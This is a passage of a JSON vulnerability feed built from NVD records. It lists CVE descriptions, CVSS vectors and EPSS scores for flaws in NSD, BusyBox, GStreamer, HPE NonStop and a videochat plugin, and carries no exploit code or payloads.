fixes.","publishedAt":"2026-10-14T11:16:57.670Z","updatedAt":"2026-10-15T17:17:10.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103358","asOf":"2026-10-15T17:17:10.670Z"},"epss":{"probability":0.00322,"percentile":0.24994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103358","type":"primary","publishedAt":"2026-10-14T11:16:57.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101341","cveId":"CVE-2026-101341","aliases":[],"kind":"vulnerability","title":"Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack...","summary":"Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack writes, including an overwrite of a callback function pointer which is called directly after parse.  Zone files which are written out by NSD itself, such for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).","detail":"Tokens of text in RDATA (of for example TXT records) under 32 bytes are not checked to stay within the space reserved for the RDATA allowing for arbitrary sized out of bound stack writes, including an overwrite of a callback function pointer which is called directly after parse.  Zone files which are written out by NSD itself, such for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:57.423Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101341","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00346,"percentile":0.27912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101341&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101341","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101341","type":"primary","publishedAt":"2026-10-14T11:16:57.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101341&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101341, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101339","cveId":"CVE-2026-101339","aliases":[],"kind":"vulnerability","title":"A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of...","summary":"A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).","detail":"A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:57.300Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101339","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.0034,"percentile":0.2728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101339&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101339","type":"primary","publishedAt":"2026-10-14T11:16:57.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101339&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101339, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101338","cveId":"CVE-2026-101338","aliases":[],"kind":"vulnerability","title":"When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write...","summary":"When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write attacker controlled data of unlimited size.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).","detail":"When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write attacker controlled data of unlimited size.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:57.130Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101338","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.0034,"percentile":0.2728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101338","type":"primary","publishedAt":"2026-10-14T11:16:57.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101337","cveId":"CVE-2026-101337","aliases":[],"kind":"vulnerability","title":"When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes.","summary":"When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes. This enables attackers to overwrite the stack with up to 64K of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).","detail":"When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes. This enables attackers to overwrite the stack with up to 64K of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T11:16:56.890Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101337","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.0034,"percentile":0.27279,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101337","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101337","type":"primary","publishedAt":"2026-10-14T11:16:56.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90954","cveId":"CVE-2026-90954","aliases":[],"kind":"vulnerability","title":"A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers...","summary":"A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers which flush once after the last member. A specially crafted .deb archive with two data.tar members can exploit this ordering: the first member declares a symlink pointing to an absolute path (e.g., '/'), which is deferred as unsafe but flushed after the first member. The second member declares a regular file whose path traverses the now-live symlink, resulting in a file being written outside the intended extraction directory. This could allow an attacker to write arbitrary files to arbitrary locations when a user extracts a crafted .deb package.","detail":"A flaw was found in BusyBox's dpkg-deb archive extraction. The ar archive handler flushes deferred symlinks after each archive member, unlike the tar, cpio, and unzip handlers which flush once after the last member. A specially crafted .deb archive with two data.tar members can exploit this ordering: the first member declares a symlink pointing to an absolute path (e.g., '/'), which is deferred as unsafe but flushed after the first member. The second member declares a regular file whose path traverses the now-live symlink, resulting in a file being written outside the intended extraction directory. This could allow an attacker to write arbitrary files to arbitrary locations when a user extracts a crafted .deb package.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T10:17:57.297Z","updatedAt":"2026-10-19T20:21:10.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90954","asOf":"2026-10-19T20:21:10.970Z"},"epss":{"probability":0.00235,"percentile":0.14235,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90954","type":"primary","publishedAt":"2026-10-14T10:17:57.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88829","cveId":"CVE-2026-88829","aliases":[],"kind":"vulnerability","title":"A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request...","summary":"A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request on a TCP connection has its path rewritten. An attacker can send a pipelined second request that is relayed verbatim to the backend, bypassing the configured path restrictions. This allows accessing arbitrary paths on the backend server that were not intended to be exposed through the proxy.","detail":"A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request on a TCP connection has its path rewritten. An attacker can send a pipelined second request that is relayed verbatim to the backend, bypassing the configured path restrictions. This allows accessing arbitrary paths on the backend server that were not intended to be exposed through the proxy.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T10:17:57.077Z","updatedAt":"2026-10-15T16:33:26.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apache HTTP Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88829","asOf":"2026-10-15T16:33:26.290Z"},"epss":{"probability":0.00261,"percentile":0.17645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88829","type":"primary","publishedAt":"2026-10-14T10:17:57.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86476","cveId":"CVE-2026-86476","aliases":[],"kind":"vulnerability","title":"A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets...","summary":"A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets that exceed the actual backing memory allocation. The metadata is not range-checked during deserialization, and the video frame mapping code does not verify that the declared plane geometry fits within the buffer before allowing consumers to read or write video data. A local attacker who controls the sending side of a GStreamer inter-process IPC pipeline can deliver a crafted buffer carrying fabricated strides, causing the receiving process to read or write beyond heap boundaries. Successful exploitation can cause a denial of service or potentially allow code execution within the affected process.","detail":"A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets that exceed the actual backing memory allocation. The metadata is not range-checked during deserialization, and the video frame mapping code does not verify that the declared plane geometry fits within the buffer before allowing consumers to read or write video data. A local attacker who controls the sending side of a GStreamer inter-process IPC pipeline can deliver a crafted buffer carrying fabricated strides, causing the receiving process to read or write beyond heap boundaries. Successful exploitation can cause a denial of service or potentially allow code execution within the affected process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T10:17:56.850Z","updatedAt":"2026-10-14T20:13:37.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86476","asOf":"2026-10-14T20:13:37.910Z"},"epss":{"probability":0.00193,"percentile":0.08926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86476&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86476","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86476","type":"primary","publishedAt":"2026-10-14T10:17:56.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86476&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86476, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73793","cveId":"CVE-2026-73793","aliases":[],"kind":"vulnerability","title":"HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.","summary":"HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.","detail":"HPE NonStop Middleware software has secret key handling and data deserialization vulnerability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T10:17:56.480Z","updatedAt":"2026-10-14T17:19:09.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73793","asOf":"2026-10-14T17:19:09.547Z"},"epss":{"probability":0.0027,"percentile":0.19035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73793","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73793","type":"primary","publishedAt":"2026-10-14T10:17:56.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73790","cveId":"CVE-2026-73790","aliases":[],"kind":"vulnerability","title":"A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.","summary":"A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.","detail":"A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T09:17:22.613Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73790","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00318,"percentile":0.2451,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73790&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73790","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73790","type":"primary","publishedAt":"2026-10-14T09:17:22.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73790&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73790, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107428","cveId":"CVE-2026-107428","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T09:17:22.180Z","updatedAt":"2026-10-14T14:26:59.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107428","asOf":"2026-10-14T14:26:59.367Z"},"epss":{"probability":0.00186,"percentile":0.0816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107428","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107428","type":"primary","publishedAt":"2026-10-14T09:17:22.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE 